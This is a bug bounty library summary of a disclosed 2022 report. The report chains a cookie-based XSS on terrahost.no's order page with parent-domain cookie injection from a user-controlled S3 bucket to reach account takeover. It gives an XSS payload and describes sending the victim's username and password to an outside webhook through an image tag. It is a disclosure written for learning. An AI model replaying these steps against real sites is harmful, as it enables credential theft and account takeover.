# Turning cookie based XSS into account takeover

Cookie-based XSS on terrahost.no order page escalated via attacker-controlled S3 subdomain cookie injection and DOM manipulation to steal login credentials for account takeover.

- Payout: $496 (paid EUR 500)
- Severity: high
- Program: Terrahost
- Credited: Bartłomiej Bergier
- Disclosed: 2022-09-06
- Write-up quality: 8/10
- Original: https://bergee.it/blog/turning-cookie-based-xss-into-account-takeover/
- Library page: https://bugbountylibrary.com/r/blog%3Abergee-it-blog-turning-cookie-based-xss-into-account-takeover
- Tags: domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high tech:s3 technique:chained technique:source-review vuln:account-takeover vuln:xss

**Target:** terrahost.no order/registration page and S3 object storage buckets
**Root cause:** Customer data stored in cookies (customer_name, customer_id) is rendered unsanitized into the order page DOM, and cookies can be set for the parent domain .terrahost.no from any subdomain including user-controlled S3 buckets.
**Steps:**
1. Register on terrahost.no order flow, observe customer data stored in cookies like customer_name and step.
2. Set `customer_name=<img src=x onerror=alert(document.domain)>` and `step=2` cookies to trigger self-XSS on the order page.
3. Create a public S3 bucket at `berdzibucket.s3.terrahost.no` via MinIO and upload an HTML file that sets `customer_id` and `step=2` cookies with `domain=.terrahost.no` then redirects to `https://terrahost.no/bestilling?pid=3813`.
4. Craft payload that hides `.row_information`, shows `.step1`, and binds a click handler on `.login` to exfiltrate `#username` and `#password` via `<img src=https://webhook.site/...?data=...>`.
5. Send victim the bucket URL; victim logs in and credentials are sent to attacker's webhook, enabling takeover of the enigma management panel account.
**How found:** Noticed customer data persisted in cookies after registration, tested XSS payload in cookie value, discovered step cookie gating execution, then sought a subdomain to set parent-domain cookies and found user-controlled S3 buckets on s3.terrahost.no.
**Exploitation:** Attacker hosts malicious HTML on a user-controlled S3 subdomain of terrahost.no, sets parent-domain cookies to inject XSS payload into the order page, manipulates DOM to reveal the login form, and exfiltrates credentials via image tag to webhook.site, achieving account takeover.
**Escalation:** Chained cookie-based self-XSS with subdomain cookie injection from user-controlled S3 bucket, then DOM manipulation to re-expose login form and credential exfiltration, escalating from self-XSS to full account takeover.
**Insight:** When a target offers user-controlled subdomains (e.g., S3 buckets, VPS hostnames), check whether cookies can be set for the parent domain from those subdomains to convert self-XSS into remote XSS; also inspect DOM for hidden forms that can be re-exposed via CSS manipulation.